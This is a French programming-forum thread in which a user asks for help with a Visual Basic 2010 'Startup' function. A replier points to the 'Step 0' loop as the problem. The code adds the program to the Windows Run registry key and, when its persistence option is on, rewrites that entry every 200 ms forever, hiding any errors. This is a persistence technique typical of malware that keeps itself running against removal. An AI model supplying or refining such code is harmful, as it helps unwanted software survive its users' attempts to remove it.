Erreur visual Basic 2010

Fermé
Coucoucmoi - 11 juil. 2013 à 22:28
lermite222 Messages postés 8702 Date d'inscription dimanche 8 avril 2007 Statut Contributeur Dernière intervention 22 janvier 2020 - 12 juil. 2013 à 14:10
Bonjour, voilà, je ne trouve pas l'erreur .. Merci de votre aide :) !

#Region "Startup"
Public Shared Function Startup(ByVal File As String, ByVal Path As String, ByVal Persistence As Boolean)
Try
Dim Reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
Dim K As Microsoft.Win32.RegistryKey = Reg.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
K.SetValue(File, Path, Microsoft.Win32.RegistryValueKind.String)
Catch
End Try
If Persistence = True Then
For i As Integer = 0 To 1 Step 0
Try
Dim R As Microsoft.Win32.RegistryKey
R = Microsoft.Win32.Registry.CurrentUser
Dim K As Microsoft.Win32.RegistryKey = R.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
K.SetValue(File, Path, Microsoft.Win32.RegistryValueKind.String)
System.Threading.Thread.Sleep(200) : Catch : System.Threading.Thread.Sleep(200) : End Try
Next
End If
End Function

#End Region
A voir également:

1 réponse

lermite222 Messages postés 8702 Date d'inscription dimanche 8 avril 2007 Statut Contributeur Dernière intervention 22 janvier 2020 1 190
12 juil. 2013 à 14:10
Bonjour,
Tu pourrais au moins dire où se situe l'erreur, toutefois...
    For i As Integer = 0 To 1 Step 0 
?? pourquoi Step 0 ? ça bloque ta boucle.
Supprime déjà le Step 0
A+
0